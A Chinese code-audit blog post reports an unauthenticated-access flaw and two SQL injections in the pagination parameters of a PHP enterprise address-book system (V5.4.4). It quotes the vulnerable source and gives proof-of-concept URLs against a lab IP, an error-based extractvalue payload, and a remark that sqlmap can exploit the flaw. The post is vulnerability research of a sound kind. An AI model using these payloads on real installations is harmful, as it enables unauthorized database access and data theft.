首页 » 代码审计 » 正文

eml企业通讯录管理系统存在sql注入+未授权访问

0x00:环境搭建

环境:windows7+phpstudy+php5.5

版本:eml企业通讯录管理系统经典版V5.4.4

源码:smarty模板

下载地址:http://down.admin5.com/php/103177.html

版本更新时间:2018-07-08

 

0x01:漏洞成因

1.未授权访问

action/action.address.php

header("Content-type: text/html; charset=utf-8");

if(!defined('CORE'))exit("error!"); 

.....

页面未加用户是否登录判断,打开页面是普通用户权限。(系统是可以注册的。)

 

2.sql注入

先看看过滤代码文件:lib/func.class.php

function _RunMagicQuotes(&$svar){
	if(!get_magic_quotes_gpc())	{
		if( is_array($svar) ){
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}else{
			$svar = addslashes($svar);
		}
	}
	return $svar;
}

过滤的函数_RunMagicQuotes,判断是否开启了get_magic_quotes_gpc,如果开启就用gpc过滤,如果没有开启用addslashes过滤。5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了。

//安全过滤
foreach(Array('_GET','_POST','_COOKIE') as $_request){
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

过滤的请求方法。

 

漏洞代码:action/action.address.php

//设置分页
	if($_POST[numPerPage]==""){$numPerPage="10";}else{$numPerPage=$_POST[numPerPage];}
	if($_GET[pageNum]==""||$_GET[pageNum]=="0" ){$pageNum="0";}else{$pageNum=($_GET[pageNum]-1)*$numPerPage;}
	$num=mysql_query("select * from eml_address_list where 1=1 $search");//当前频道条数
	$total=mysql_num_rows($num);//总条数	
	$page=new page(array('total'=>$total,'perpage'=>$numPerPage));

	//查询
	$sql="select * from eml_address_list  where 1=1  $search order by id desc limit $pageNum,$numPerPage";
	

分页请求方法,可以是post(numPerPage),get(pageNum),没有经过_RunMagicQuotes函数过滤直接带入库中。(2处注入)

 

0x02:演示

未授权访问:

http://192.168.116.138/eml/index.php?action=address

sql注入:

get方法,判断注入是否存在

http://192.168.116.138/eml/index.php?action=address&pageNum=/1

post方法:

http://192.168.116.138/eml/index.php?action=address&pageNum=0

numPerPage=1 procedure analyse(1,extractvalue(rand(),concat(0x7e,version())));

post注入sqlmap可跑

sqlmap可扫描(盲注)

发表评论

You must enable javascript to see captcha here!